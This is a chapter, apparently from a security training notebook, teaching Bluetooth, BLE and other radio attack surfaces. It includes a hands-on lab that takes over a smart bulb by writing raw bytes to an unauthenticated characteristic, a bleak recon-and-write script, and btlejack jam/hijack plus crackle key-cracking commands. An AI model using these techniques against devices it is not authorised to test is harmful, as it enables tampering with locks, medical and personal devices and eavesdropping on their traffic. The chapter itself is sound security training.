Bluetooth, BLE & Other Radio Attack Surfaces
This is Chapter 6 of the Wireless notebook. The previous five chapters lived almost entirely inside 802.11 Wi-Fi — capturing handshakes, cracking PSKs, standing up evil twins, and abusing deauthentication and WPS. Wi-Fi is the loudest thing in the 2.4 GHz band, but it is far from the only thing there. Sitting right next to it, sharing the same crowded slice of spectrum, is Bluetooth — and around it, spread across the rest of the radio dial, is a whole zoo of wireless protocols that ship in door locks, medical devices, car key fobs, industrial sensors, fitness trackers, and the smart bulb on your desk. Every one of those is an antenna that will talk to anyone who knows the language.
This chapter is about learning those other languages. We start with Classic Bluetooth (the “BR/EDR” radio in your headphones and car), move into Bluetooth Low Energy (BLE — the protocol behind almost every “smart” gadget shipped in the last decade), and then widen out to the rest of the RF attack surface: sub-GHz remotes, RFID/NFC cards, Zigbee and Z-Wave mesh devices, and the software-defined radio (SDR) workflow that lets one piece of hardware listen to almost all of it. The goal is that a complete beginner finishes able to enumerate a BLE device, read and write its characteristics, and reason about where the bugs live — while a senior engineer picks up the link-layer internals, the named cryptographic breaks, and the detection story.
Everything here is authorised-testing-only. Transmitting on licensed spectrum, jamming, replaying a neighbour’s garage remote, or connecting to a medical device you don’t own ranges from a serious felony to a genuine safety hazard. In the US, unauthorised RF transmission is an FCC violation and unauthorised device access is a Computer Fraud and Abuse Act problem; in the UK it’s the Wireless Telegraphy Act and the Computer Misuse Act. Build the lab against a cheap smart bulb or a dev board you own, and stay inside written scope on every engagement.
Part 1: Radio First Principles — What “Wireless” Actually Means
Section titled “Part 1: Radio First Principles — What “Wireless” Actually Means”Before any Bluetooth-specific tooling makes sense, you need a working mental model of radio itself. Skip this and every later command becomes cargo-culting. If you already think in dBm and channels, skim to Part 2.
Frequency, band, and channel
Section titled “Frequency, band, and channel”A radio wave is an electromagnetic oscillation, and its frequency — measured in hertz (Hz), cycles per second — is what distinguishes one signal from another. Cybersecurity-relevant radio lives in a few bands:
- Sub-GHz ISM bands: 315 MHz (US car fobs), 433.92 MHz (Europe/Asia remotes, sensors), 868 MHz (EU), 915 MHz (US). “ISM” = Industrial, Scientific, Medical — licence-free bands anyone may use under power limits.
- 2.4 GHz ISM: the big one. Wi-Fi, Bluetooth (Classic and BLE), Zigbee, and many proprietary protocols all crowd in here. It is globally licence-free, which is exactly why it’s a swamp.
- 5 GHz / 6 GHz: mostly Wi-Fi.
- 13.56 MHz: NFC / high-frequency RFID.
- 125 kHz: low-frequency RFID (old badge access, pet chips).
A channel is a named sub-slice of a band. Wi-Fi channel 6 is 2.437 GHz; BLE advertising channel 37 is 2.402 GHz. Two radios must be on the same frequency at the same time to hear each other — which is why “hopping” (changing channel rapidly) is both a feature (avoiding interference) and an obstacle (a sniffer has to follow the hops).
Power, in decibels, and why dBm confuses everyone
Section titled “Power, in decibels, and why dBm confuses everyone”Radio power is quoted in dBm — decibels relative to one milliwatt. It is a logarithmic scale, which trips up every beginner:
- 0 dBm = 1 mW.
- +10 dBm = 10 mW (ten times more).
- +20 dBm = 100 mW.
- −30 dBm is a weak received signal; −90 dBm is right down in the noise floor.
Two rules of thumb worth memorising: +3 dB ≈ double the power, and +10 dB ≈ ten times the power. Received signal strength (RSSI) is almost always negative because you’re receiving a tiny fraction of what was transmitted. Closer device → less negative (stronger) RSSI. This matters offensively: RSSI is how you tell “the tag is on this shelf” from “the tag is in the next room,” and it’s the basis of proximity attacks and asset tracking.
Modulation — how bits ride the wave
Section titled “Modulation — how bits ride the wave”You can’t send data by frequency alone; you have to modulate the carrier — vary something about the wave to encode 1s and 0s. The three families you’ll meet:
- ASK/OOK (Amplitude-Shift Keying / On-Off Keying): the carrier is turned on for a 1 and off for a 0. Dead simple, used by cheap 433 MHz remotes. Trivial to replay.
- FSK/GFSK (Frequency-Shift Keying, Gaussian-filtered): shift the frequency slightly up for 1, down for 0. Bluetooth and BLE use GFSK.
- PSK/QAM: shift the phase (and, for QAM, amplitude too). Higher throughput, used by Wi-Fi and LTE.
Why you care: a sniffer or SDR has to know the modulation to decode anything. When you point an SDR at an unknown remote, half the job is identifying the modulation before you can lift the bits.
The RF attack surface at a glance
Section titled “The RF attack surface at a glance”mindmap
root((RF Attack Surface))
2.4 GHz
Wi-Fi 802.11
Bluetooth BR/EDR
Bluetooth LE
Zigbee 802.15.4
Proprietary (nRF24)
Sub-GHz ISM
315/433/868/915 MHz
Car fobs & garage doors
Alarm sensors
TPMS tyre sensors
Z-Wave (908/868)
HF / LF
NFC 13.56 MHz
HF RFID (MIFARE)
LF RFID 125 kHz
Tooling
SDR (RTL-SDR / HackRF)
Ubertooth / nRF sniffer
Proxmark3 (RFID)
Flipper Zero
Keep this map in your head. The rest of the chapter walks its branches, spending most time on Bluetooth because that’s where the richest, most reachable bugs are for a working pentester.
Part 2: Bluetooth from Zero — Classic (BR/EDR) vs Low Energy
Section titled “Part 2: Bluetooth from Zero — Classic (BR/EDR) vs Low Energy”Bluetooth is a short-range wireless standard governed by the Bluetooth Special Interest Group (SIG). The name and logo are a bind-rune of the initials of Harald “Bluetooth” Gormsson, a 10th-century Danish king who united tribes — the marketing conceit being that Bluetooth unites devices. Useful trivia for a CTF whoami, less useful on an engagement.
The single most important thing to internalise early: “Bluetooth” is two mostly-separate radios that share a brand and a band.
- Bluetooth Classic — BR/EDR (Basic Rate / Enhanced Data Rate): the original, from 1999. Continuous streaming, higher throughput (up to ~3 Mbit/s EDR). Powers audio (A2DP headphones, car kits), file transfer, and legacy serial links (RFCOMM). Uses 79 channels of 1 MHz, hops 1600 times/second.
- Bluetooth Low Energy — BLE (a.k.a. Bluetooth Smart), introduced in Bluetooth 4.0 (2010): a completely different link layer designed for coin-cell devices that sleep most of the time and wake to send tiny bursts. It uses 40 channels of 2 MHz, has a totally different pairing model, and is the protocol behind almost every “smart” consumer gadget: fitness bands, beacons, locks, bulbs, medical sensors, keyboards.
A “dual-mode” chip (in your phone) does both. A “single-mode” chip (in a $2 beacon) does only BLE. They are not interoperable at the link layer — a Classic headphone and a BLE bulb literally cannot talk to each other, even though both say “Bluetooth 5.2” on the box.
| Dimension | Classic (BR/EDR) | Low Energy (BLE) |
|---|---|---|
| Introduced | Bluetooth 1.0 (1999) | Bluetooth 4.0 (2010) |
| Channels | 79 × 1 MHz | 40 × 2 MHz (3 advertising, 37 data) |
| Hop rate | 1600 hops/s | Adaptive, per-connection |
| Discovery | Inquiry (BD_ADDR + name) | Advertising packets |
| Data model | Profiles (A2DP, HFP, RFCOMM…) | GATT (services/characteristics) |
| Typical use | Audio, file transfer, serial | Sensors, beacons, locks, wearables |
| Power draw | High (streaming) | Very low (bursty) |
| Pairing crypto | Legacy / SSP (E0, later AES) | LE Legacy / LE Secure Connections |
| Address | 48-bit BD_ADDR | Public or Random (often rotating) |
The Bluetooth address (BD_ADDR)
Section titled “The Bluetooth address (BD_ADDR)”Every Bluetooth radio has a 48-bit address, written like a MAC: AA:BB:CC:DD:EE:FF. The top 24 bits are an OUI (Organizationally Unique Identifier) assigned to the vendor — so DC:A6:32 tells you it’s a Raspberry Pi, useful for fingerprinting a target’s device inventory. In BLE, though, the address is frequently a Random address that rotates every ~15 minutes (a “Resolvable Private Address,” RPA) specifically to defeat tracking — more on why that both helps and fails in Part 6.
Where Bluetooth sits in the stack
Section titled “Where Bluetooth sits in the stack”flowchart TD
subgraph Host
APP[Application / Profile]
GATT[GATT - Generic Attribute Profile]
ATT[ATT - Attribute Protocol]
SM[SM - Security Manager]
L2CAP[L2CAP - multiplexing / fragmentation]
end
subgraph Controller
HCI[HCI - Host Controller Interface]
LL[Link Layer]
PHY[Physical Layer - 2.4GHz GFSK radio]
end
APP --> GATT --> ATT --> L2CAP --> HCI --> LL --> PHY
SM --> L2CAP
The HCI (Host Controller Interface) is the boundary you’ll live at as an attacker on Linux: it’s the API between the OS’s Bluetooth stack (BlueZ, on Linux) and the radio chip. Almost every Linux tool — hcitool, hciconfig, bluetoothctl — is issuing HCI commands under the hood. Understanding this line explains why some attacks (link-layer sniffing) need special hardware while others (talking to GATT) work with any built-in adapter.
Part 3: The Linux Bluetooth Toolkit — BlueZ from Scratch
Section titled “Part 3: The Linux Bluetooth Toolkit — BlueZ from Scratch”On Linux, the entire Bluetooth stack is BlueZ. Before touching a target, get comfortable driving it. Everything below assumes a standard USB or built-in Bluetooth adapter; you don’t need special hardware yet.
Confirming the adapter
Section titled “Confirming the adapter”# List Bluetooth controllers the kernel seeshciconfig -ahciconfig is the Bluetooth equivalent of ifconfig. Typical output:
hci0: Type: Primary Bus: USB BD Address: DC:A6:32:11:22:33 ACL MTU: 1021:8 SCO MTU: 64:1 UP RUNNING RX bytes:1024 acl:0 sco:0 events:44 errors:0 TX bytes:900 acl:0 sco:0 commands:44 errors:0Reading it: hci0 is the device name (like eth0), BD Address is your adapter’s address, UP RUNNING means it’s enabled. If it says DOWN:
sudo hciconfig hci0 up # bring the interface upFlags worth knowing:
hciconfig hci0 up/down— enable/disable the radio.hciconfig hci0 piscan— make the adapter both page-scannable and inquiry-scannable (discoverable + connectable).hciconfig hci0 noscan— hide it.hciconfig hci0 name "Foo"— set the friendly name your adapter broadcasts.hciconfig hci0 class 0x000100— set the Class of Device (spoofing what kind of device you claim to be).
Discovering Classic devices — inquiry scan
Section titled “Discovering Classic devices — inquiry scan”# Classic inquiry scan: find discoverable BR/EDR deviceshcitool scanhcitool scan performs a Bluetooth inquiry — it shouts “who’s there?” and every device in discoverable mode answers with its BD_ADDR and name:
Scanning ... 4C:87:5D:AB:CD:EF Pixel 7 00:1A:7D:DA:71:13 JBL Flip 5The catch, and it’s a big one: most devices are not discoverable by default. Your phone is only discoverable while the Bluetooth settings screen is open. So an inquiry scan finds almost nothing in the real world — which is the first lesson of Bluetooth recon: absence of results is not absence of devices. Non-discoverable devices still exist and can often still be connected to if you learn their address by other means.
Newer BlueZ deprecates hcitool in favour of bluetoothctl, an interactive shell:
bluetoothctl[bluetooth]# power on[bluetooth]# scan on # scans BOTH Classic and BLE...[NEW] Device AC:23:3F:AA:BB:CC Govee_Bulb_1234[CHG] Device AC:23:3F:AA:BB:CC RSSI: -61[bluetooth]# devices # list what we've found[bluetooth]# info AC:23:3F:AA:BB:CC # dump details of one device[bluetooth]# scan offscan on in bluetoothctl is the modern, unified discovery command and the one you’ll actually use — it surfaces BLE advertisers too, which hcitool scan never will.
Service enumeration — SDP
Section titled “Service enumeration — SDP”Once you have a Classic device’s address, ask what services it exposes:
# Service Discovery Protocol browsesdptool browse AC:23:3F:AA:BB:CCSDP (Service Discovery Protocol) is Classic Bluetooth’s “port scan.” It returns the profiles the device supports — each with a UUID, protocol, and channel. Output is verbose; the useful bits:
Service Name: Audio SinkService RecordHandle: 0x10001Service Class ID List: "Audio Sink" (0x110b)Protocol Descriptor List: "L2CAP" (0x0100) "AVDTP" (0x0019)Each Service Class ID maps to a capability (Audio Sink = it plays audio; Serial Port = RFCOMM shell; Handsfree = phone audio). This is your Classic attack-surface map. The RFCOMM channel numbers you find here are what you’d target for legacy serial exploits.
Grabbing signal strength and info without pairing
Section titled “Grabbing signal strength and info without pairing”# One-shot info about a remote device (name, features, version)hcitool info 00:1A:7D:DA:71:13This performs a connection request to read remote features without full pairing — it reveals the LMP (Link Manager Protocol) version, which tells you the Bluetooth spec level (and therefore which historical vulnerabilities might apply). A device reporting LMP 4.0 can’t have the fixes that shipped in 4.2/5.0.
Red-team note. The device-inventory value of passive Bluetooth recon is underrated. Walking a target’s office with a laptop running
bluetoothctl scan onlogging BD_ADDRs, OUIs, and names quietly maps their wireless device estate — printers, conference speakers, wearables, badge readers — without ever transmitting an attack. OUIs reveal vendors; names often leak usernames (“Sarah’s AirPods”). It’s pure passive collection and it feeds phishing and physical-access planning.
Part 4: Bluetooth Low Energy Internals — Advertising, GATT, and the Data Model
Section titled “Part 4: Bluetooth Low Energy Internals — Advertising, GATT, and the Data Model”BLE is where most of your Bluetooth pentesting time will go, because BLE devices are everywhere, cheap, rushed to market, and frequently have no meaningful security at all. To attack BLE you must understand two things cold: how devices advertise, and the GATT data model.
The 40 channels and the three advertising channels
Section titled “The 40 channels and the three advertising channels”BLE splits 2.4 GHz into 40 channels of 2 MHz each, numbered 0–39 by “channel index”:
- Channels 37, 38, 39 are the advertising channels. They’re deliberately spaced across the band (2402, 2426, 2480 MHz) to dodge Wi-Fi interference — Wi-Fi channels 1, 6, 11 sit in the gaps.
- Channels 0–36 are data channels, used only after a connection is established, hopping among them.
An unconnected BLE device spends its life advertising: every advertising interval (20 ms to 10.24 s) it transmits a small packet on 37, then 38, then 39. That packet contains its address, some flags, and up to 31 bytes of advertising data — the device name, a list of service UUIDs it offers, transmit power, and often manufacturer-specific data (this is where iBeacon/Eddystone beacons, and a shocking amount of leaked telemetry, live).
sequenceDiagram
participant A as Advertiser (BLE device)
participant S as Scanner (your laptop)
Note over A: Not connected — advertising
A->>S: ADV_IND on ch 37 (addr, name, service UUIDs, mfg data)
A->>S: ADV_IND on ch 38
A->>S: ADV_IND on ch 39
S->>A: SCAN_REQ (ch 37) — "tell me more"
A->>S: SCAN_RSP — extra 31 bytes (scan response data)
S->>A: CONNECT_IND — establish connection
Note over A,S: Now hop across data channels 0–36
Two packet types to know: ADV_IND (connectable, undirected — “anyone may connect”) is the common case; ADV_NONCONN_IND is a beacon that never accepts connections (iBeacon). SCAN_REQ/SCAN_RSP is the scanner asking for the extra 31 bytes, which is why some data only appears in a full “active scan.”
Passive vs active scanning
Section titled “Passive vs active scanning”# Enable BLE scanning with hcitool (older) — lists advertiserssudo hcitool lescanLE Scan ...AC:23:3F:AA:BB:CC (unknown)AC:23:3F:AA:BB:CC Govee_Bulb_12345F:2E:9D:01:AB:CD (unknown)lescan does an active scan by default (it sends SCAN_REQ). To be quiet — no transmissions, pure listening — use --passive:
sudo hcitool lescan --passive --duplicates--passive— never send SCAN_REQ; only listen. Stealthier and doesn’t reveal your presence, but you miss scan-response data.--duplicates— show every advertisement, not just the first per device (lets you watch RSSI change and catch rotating data).
For raw visibility, dump the HCI events themselves:
sudo btmon # live decode of everything crossing the HCI boundarybtmon is the single most useful diagnostic tool in BlueZ. It’s a Bluetooth Wireshark for the HCI interface — you see every advertising report, connection event, ATT read/write, and error code live. Learn to read it; it’s how you debug why a connection dropped or an encryption negotiation happened.
Parsing advertising data — the AD structure format
Section titled “Parsing advertising data — the AD structure format”The 31 bytes of advertising payload aren’t freeform; they’re a sequence of AD structures, each [length][type][data...]. The length byte counts the type byte plus the data; the type byte identifies what the field is. You will read these constantly in btmon, Wireshark, and raw captures, so learn the common types:
| AD Type | Hex | Meaning |
|---|---|---|
| Flags | 0x01 | Discoverable/BR-EDR-support bitfield |
| Incomplete 16-bit UUIDs | 0x02 | Some of the service UUIDs offered |
| Complete 16-bit UUIDs | 0x03 | All 16-bit service UUIDs |
| Shortened Local Name | 0x08 | Truncated device name |
| Complete Local Name | 0x09 | Full device name |
| Tx Power Level | 0x0A | Transmit power (for RSSI distance math) |
| Service Data | 0x16 | Data tied to a service (Eddystone lives here) |
| Manufacturer Specific | 0xFF | Vendor blob — first 2 bytes = company ID |
Worked example — decode this raw advertising payload byte by byte:
02 01 06 0f 09 47 6f 76 65 65 5f 42 75 6c 62 5f 31 32 33 34 03 03 e0 ff02 01 06→ length 2, type0x01Flags, value06(LE General Discoverable + BR/EDR not supported).0f 09 47 6f...34→ length 15, type0x09Complete Local Name, value = ASCIIGovee_Bulb_1234.03 03 e0 ff→ length 3, type0x03Complete 16-bit UUIDs, valueffe0(little-endian → service0xFFE0).
So before ever connecting, this advertisement already told us the device name and that it offers the 0xFFE0 vendor service — the same service whose writable 0xFFE1 characteristic we abuse in the lab. Manufacturer-specific (0xFF) fields are the juiciest: the leading two bytes are the SIG-assigned Company ID (e.g. 4c 00 = Apple, 75 00 = Samsung), and everything after is vendor telemetry that has leaked serial numbers, battery state, sensor readings, and even door-open events in shipped products. Passive collection of 0xFF blobs across a building is a real-world recon technique.
GATT — the heart of BLE
Section titled “GATT — the heart of BLE”Once connected, all BLE data access happens through GATT (Generic Attribute Profile), which sits on ATT (the Attribute Protocol). Think of a BLE device as a tiny key-value database. Its structure is a strict three-level hierarchy:
- Services — logical groupings of functionality (e.g., “Battery Service,” “Device Information,” a vendor’s “Light Control Service”). Each has a UUID.
- Characteristics — the actual data fields inside a service (e.g., “Battery Level,” “Firmware Revision,” “Light On/Off”). Each has a UUID, a value, and a set of properties (Read, Write, Write-Without-Response, Notify, Indicate).
- Descriptors — metadata about a characteristic (units, a human-readable name, and crucially the CCCD — Client Characteristic Configuration Descriptor — the on/off switch for notifications).
Every attribute lives at a 16-bit handle (0x0001, 0x0002…). Handles are the “addresses” you read and write.
graph TD
P[BLE Peripheral GATT DB] --> S1[Service 0x1800 Generic Access]
P --> S2[Service 0x180F Battery]
P --> S3[Service FFE0 Vendor Light Control]
S1 --> C1[Char 2A00 Device Name - Read]
S2 --> C2[Char 2A19 Battery Level - Read/Notify]
S3 --> C3[Char FFE1 Light State - Read/Write]
C2 --> D1[Descriptor 2902 CCCD - enable notify]
Standard 16-bit UUIDs (like 0x180F Battery, 0x2A19 Battery Level) are SIG-assigned and universal — memorise a handful. 128-bit UUIDs (like 0000ffe1-0000-1000-8000-00805f9b34fb) are vendor-custom; these are where the interesting, undocumented, often-unauthenticated functionality lives. When you find a device that’s all custom 128-bit UUIDs, that’s a product that rolled its own protocol — historically a rich seam of bugs.
Characteristic properties — the permission bits
Section titled “Characteristic properties — the permission bits”Each characteristic advertises what you’re allowed to do with it, but critically these are hints, not enforcement:
| Property | Meaning | Attacker interest |
|---|---|---|
| Read | Client can read the value | Data exfil — passwords, tokens, PII stored here |
| Write | Client can write (with ack) | Command injection — flip locks, change settings |
| Write Without Response | Client writes, no ack | Fast fuzzing target |
| Notify | Server pushes updates (no ack) | Subscribe to leak live data |
| Indicate | Server pushes updates (acked) | Same, reliable |
The catastrophic-and-common bug: a characteristic marked Write that controls something sensitive (unlock the door, disable the alarm) with no pairing or authentication required. The property says “writable”; nothing says “only after you authenticate.” Vast numbers of shipped BLE products are exactly this insecure. Finding one is often a five-minute job, which is the entire reason BLE is on this syllabus.
Part 5: BLE Pairing, Bonding & the Crypto That Usually Fails
Section titled “Part 5: BLE Pairing, Bonding & the Crypto That Usually Fails”Security in BLE is optional, bolt-on, and historically broken in named, memorable ways. Understanding the pairing state machine tells you where to attack.
Pairing vs bonding vs encryption
Section titled “Pairing vs bonding vs encryption”- Encryption protects a single connection’s traffic on the air.
- Pairing is the process of two devices agreeing on keys, possibly with authentication (proving there’s no man-in-the-middle).
- Bonding is storing those keys so you don’t re-pair next time (the “remembered device” list).
A device can encrypt without authenticating (Just Works pairing), which is where MITM lives.
The pairing methods and their weaknesses
Section titled “The pairing methods and their weaknesses”BLE Legacy Pairing (4.0/4.1) offers four association models:
- Just Works — no user interaction, no MITM protection. The “Temporary Key” is all zeros. Anyone sniffing the pairing can derive the keys. Overwhelmingly the most common in cheap products, because it needs no screen or keypad.
- Passkey Entry — a 6-digit PIN shown on one device, typed on the other. Only ~20 bits of entropy and, in Legacy pairing, sniffable.
- Out Of Band (OOB) — keys exchanged via another channel (NFC). Rare.
- Numeric Comparison — both devices show a number, user confirms they match. Only available in LE Secure Connections (4.2+), which uses ECDH (elliptic-curve Diffie–Hellman) and is the only genuinely strong option.
The single biggest takeaway: LE Legacy pairing is cryptographically weak. If you can capture the pairing exchange, you can recover the Long-Term Key and decrypt everything. The tool crackle does exactly this against captured Legacy pairings.
stateDiagram-v2
[*] --> Advertising
Advertising --> Connected: CONNECT_IND
Connected --> PairingFeatureExchange: pairing requested
PairingFeatureExchange --> JustWorks: no IO capability
PairingFeatureExchange --> PasskeyEntry: keypad/display
PairingFeatureExchange --> NumericComparison: LESC + displays
JustWorks --> Encrypted: TK = 0 (weak)
PasskeyEntry --> Encrypted: 6-digit (weak in Legacy)
NumericComparison --> Encrypted: ECDH (strong)
Encrypted --> Bonded: store LTK
Bonded --> [*]
The named breaks you must know
Section titled “The named breaks you must know”These come up constantly in interviews, reports, and CTF flavour text. Know the one-line essence of each:
| Name | Year | Target | Essence |
|---|---|---|---|
| BlueBorne | 2017 | BR/EDR + BLE stacks | Set of RCE/MITM bugs in Android/Linux/Windows/iOS Bluetooth stacks needing no pairing, no user action — just Bluetooth on. |
| KNOB | 2019 | BR/EDR | Key Negotiation of Bluetooth: attacker forces the encryption key down to 1 byte of entropy during negotiation, then brute-forces it. |
| BIAS | 2020 | BR/EDR | Bluetooth Impersonation AttackS: abuse the authentication procedure to impersonate a previously-bonded device without the link key. |
| BLESA | 2020 | BLE | BLE Spoofing Attack: reconnection lacks mandatory authentication, so an attacker spoofs a bonded peripheral and feeds fake data. |
| SweynTooth | 2020 | BLE SoCs | A family of link-layer parsing bugs (crashes, deadlocks, security bypass) in multiple vendors’ BLE chips — including in medical devices. |
| BrakTooth | 2021 | BR/EDR SoCs | Similar mass-vulnerability set in Classic controllers — crashes and, on some, code execution. |
The pattern across all of them: the Bluetooth stack is a huge, historically under-audited attack surface reachable with the radio simply switched on. That’s why “disable Bluetooth when not in use” is real defensive advice, not paranoia.
CTF angle. BLE challenges rarely require breaking crypto. They hand you a device (or a
.pcap/.hcidumpcapture) and the flag is sitting in a readable characteristic, encoded in manufacturer advertising data, or reconstructed by writing the right value to unlock a “notify” that streams the flag. The skills that win are: enumerate the GATT DB, read everything readable, decode hex/base64 you find, and subscribe to notifications. We do exactly that in the lab below.
Part 6: The BLE Attack Workflow — Hands-On Lab
Section titled “Part 6: The BLE Attack Workflow — Hands-On Lab”Time to actually do it. This lab uses a common, cheap target: a BLE smart bulb (Govee/Triones-style, ~$10) — but the exact same workflow applies to fitness bands, beacons, and most consumer BLE gear. If you don’t have a bulb, a Raspberry Pi Pico W or nRF52 dev board running a sample peripheral works identically, and many phones can emulate a peripheral with nRF Connect.
Hardware: any Linux box with a built-in or USB Bluetooth adapter. No special sniffer needed for GATT interaction (you only need Ubertooth/nRF sniffer for passive link-layer capture, covered later).
Step 1 — Discover the target
Section titled “Step 1 — Discover the target”sudo hcitool lescan --duplicatesLE Scan ...AC:23:3F:AA:BB:CC (unknown)AC:23:3F:AA:BB:CC Govee_Bulb_1234Note the address AC:23:3F:AA:BB:CC. The OUI AC:23:3F and the name confirm the vendor. Ctrl-C to stop.
Step 2 — Enumerate the GATT database
Section titled “Step 2 — Enumerate the GATT database”The modern tool is gatttool (part of BlueZ) or, better, bluetoothctl’s GATT menu. Let’s use gatttool interactively:
gatttool -b AC:23:3F:AA:BB:CC -I-b— target BD_ADDR.-I— interactive mode.
Inside the shell:
[AC:23:3F:AA:BB:CC][LE]> connectAttempting to connect to AC:23:3F:AA:BB:CCConnection successful[AC:23:3F:AA:BB:CC][LE]> primary # list servicesattr handle: 0x0001, end grp handle: 0x0007 uuid: 00001800-0000-1000-8000-00805f9b34fbattr handle: 0x0008, end grp handle: 0x000b uuid: 00001801-0000-1000-8000-00805f9b34fbattr handle: 0x000c, end grp handle: 0xffff uuid: 0000ffe0-0000-1000-8000-00805f9b34fb[AC:23:3F:AA:BB:CC][LE]> characteristics # list all characteristicshandle: 0x0002, char properties: 0x0a, char value handle: 0x0003, uuid: 00002a00-... (Device Name, Read+Write)handle: 0x000d, char properties: 0x1c, char value handle: 0x000e, uuid: 0000ffe1-... (vendor, Write+Notify+Indicate)Reading the char properties byte is the whole game. It’s a bitmask:
0x02= Read0x04= Write Without Response0x08= Write0x10= Notify0x20= Indicate
So 0x0a = 0x02 | 0x08 = Read + Write. And 0x1c = 0x04 | 0x08 | 0x10 = Write Without Response + Write + Notify. The vendor characteristic 0xffe1 at value handle 0x000e is writable and notifiable — that’s the control channel.
Step 3 — Read everything readable
Section titled “Step 3 — Read everything readable”[AC:23:3F:AA:BB:CC][LE]> char-read-hnd 0x0003Characteristic value/descriptor: 47 6f 76 65 65 5f 42 75 6c 62 5f 31 32 33 34Those hex bytes decode to ASCII “Govee_Bulb_1234” — the device name. On a real target you dump every readable handle and decode each; passwords, session tokens, serial numbers, and Wi-Fi credentials for the pairing app have all been found sitting in plaintext readable characteristics.
# Decode hex to ASCII quicklyecho "476f7665655f42756c625f31323334" | xxd -r -p; echo# -> Govee_Bulb_1234Step 4 — Write to control the device (the actual attack)
Section titled “Step 4 — Write to control the device (the actual attack)”The bulb’s control characteristic is 0x000e. For Triones/Govee-style bulbs the “set colour” command is a known vendor frame. To set the colour to red, a typical frame is 56 RR GG BB 00 f0 aa where RR GG BB is the colour:
[AC:23:3F:AA:BB:CC][LE]> char-write-req 0x000e 56ff000000f0aaCharacteristic value was written successfullyIf the bulb turns red, you just controlled a device without any pairing, authentication, or the vendor app — purely by writing raw bytes to a characteristic. Turn it off with the vendor’s power-off frame:
[AC:23:3F:AA:BB:CC][LE]> char-write-req 0x000e cc2433char-write-req— write with a response (acknowledged). Use this to confirm the write landed.char-write-cmd— write without response (fire-and-forget, faster, good for fuzzing).
This is the essence of the most common real-world BLE finding: unauthenticated write to a security-relevant characteristic. Swap “bulb colour” for “door lock state,” “insulin dose,” or “alarm armed” and the severity climbs from prank to CVE.
Step 5 — Subscribe to notifications (leak live data)
Section titled “Step 5 — Subscribe to notifications (leak live data)”Many devices stream data (heart rate, sensor readings, the flag in a CTF) via notifications. You enable them by writing 01 00 to the characteristic’s CCCD descriptor (0x2902), which sits one handle above the value:
[AC:23:3F:AA:BB:CC][LE]> char-write-req 0x000f 0100Characteristic value was written successfully[AC:23:3F:AA:BB:CC][LE]>Notification handle = 0x000e value: 56 03 01 ...Writing 0100 to the CCCD flips the notify bit on; now the device pushes updates and you receive them live. In a CTF this is frequently how the flag arrives.
A faster, scriptable path — bleak (Python)
Section titled “A faster, scriptable path — bleak (Python)”gatttool is deprecated and finicky. For real work, script BLE in Python with bleak (cross-platform, async):
import asynciofrom bleak import BleakScanner, BleakClient
ADDR = "AC:23:3F:AA:BB:CC"
async def main(): # 1. Scan and print advertisers with RSSI + service UUIDs devices = await BleakScanner.discover(timeout=5.0) for d in devices: print(d.address, d.rssi, d.name, d.metadata.get("uuids"))
# 2. Connect and dump the full GATT map async with BleakClient(ADDR) as client: for service in client.services: print(f"[Service] {service.uuid}") for char in service.characteristics: props = ",".join(char.properties) print(f" [Char] {char.uuid} ({props}) handle={char.handle}") if "read" in char.properties: try: val = await client.read_gatt_char(char.uuid) print(f" value: {val.hex()} ascii: {val!r}") except Exception as e: print(f" read failed: {e}")
# 3. Write the 'set red' command await client.write_gatt_char("0000ffe1-0000-1000-8000-00805f9b34fb", bytes.fromhex("56ff000000f0aa"), response=True)
# 4. Subscribe to notifications def handler(sender, data): print(f"NOTIFY {sender}: {data.hex()}") await client.start_notify("0000ffe1-0000-1000-8000-00805f9b34fb", handler) await asyncio.sleep(10)
asyncio.run(main())Run it:
pip install bleakpython3 ble_recon.pyThis single script does discovery, full GATT enumeration, reads every readable characteristic, writes a command, and subscribes to notifications — the complete offensive BLE workflow, reproducible and loggable. Build your engagement tooling on bleak, not gatttool.
GUI option — nRF Connect
Section titled “GUI option — nRF Connect”For a fast, visual pass — especially on a phone in the field — Nordic’s nRF Connect (Android/iOS/desktop) is the standard. It scans, shows advertising data decoded, lets you connect, browse the GATT tree, and read/write/subscribe with taps. It’s the quickest way to triage an unknown device before scripting. Wireshark with the nRF sniffer plugin is its companion for capture.
Part 7: Passive Sniffing & MITM — Ubertooth, nRF, and BtleJack
Section titled “Part 7: Passive Sniffing & MITM — Ubertooth, nRF, and BtleJack”Interacting with GATT needs only a normal adapter. Capturing someone else’s connection off the air — the pairing exchange, live traffic, the moment a lock opens — needs a real sniffer, because BLE connections hop across 37 data channels and a normal adapter can’t follow an existing connection it isn’t part of.
The hardware options
Section titled “The hardware options”| Device | ~Cost | Does | Notes |
|---|---|---|---|
| Ubertooth One | $120 | BR/EDR + BLE follow/sniff | Open-source, the classic Bluetooth research tool |
| nRF52840 dongle | $10 | BLE sniff (Nordic sniffer FW) | Cheapest real BLE sniffer; pairs with Wireshark |
| BtleJack (micro:bit) | $15 | BLE sniff + jam + hijack | 3× micro:bits can follow, jam, and take over connections |
| Sniffle (TI CC1352) | $30 | Excellent modern BLE 5 sniffer | Long-range/coded PHY support |
| HackRF One | $300 | Full SDR (any protocol, incl. BT) | Flexible but you build the demod yourself |
Following a connection with BtleJack
Section titled “Following a connection with BtleJack”btlejack (runs on micro:bit hardware) is uniquely capable because it can not just sniff but hijack:
# List existing BLE connections it can hearbtlejack -s[i] Enumerating existing connections...[i] Connection access address 0x9c68fd30 seen, ...# Follow (sniff) a specific connection by its access addressbtlejack -f 0x9c68fd30 -o capture.pcap-s— scan for active connections (their 32-bit access address identifies each).-f— follow a connection, decoding its ATT traffic.-o— write to a pcap for Wireshark.-j— jam a connection (force a disconnect — then you catch the re-pairing, which is often weaker).-t— hijack: kick out the legitimate central and take over the connection to the peripheral.
The -j then re-capture trick is the offensive heart of BLE: jam an encrypted connection so the devices re-pair, capture the re-pairing (often LE Legacy), and crack the key with crackle.
Cracking captured Legacy pairing with crackle
Section titled “Cracking captured Legacy pairing with crackle”# Given a pcap containing an LE Legacy pairing, recover keys and decryptcrackle -i capture.pcap -o decrypted.pcapcrackle exploits the weak Temporary Key of LE Legacy pairing (for Just Works, TK=0; for Passkey, only 10^6 values). It recovers the Short-Term Key, then the Long-Term Key, then decrypts the whole capture into decrypted.pcap — which you open in Wireshark and read in cleartext. This does not work against LE Secure Connections (ECDH); the presence of LESC is what defeats this whole attack chain, which is exactly why it’s the #1 defensive recommendation.
flowchart LR
A[Target BLE connection<br/>encrypted, LE Legacy] --> B[btlejack -j<br/>jam the link]
B --> C[Devices re-pair]
C --> D[Sniff re-pairing<br/>btlejack -f -o pcap]
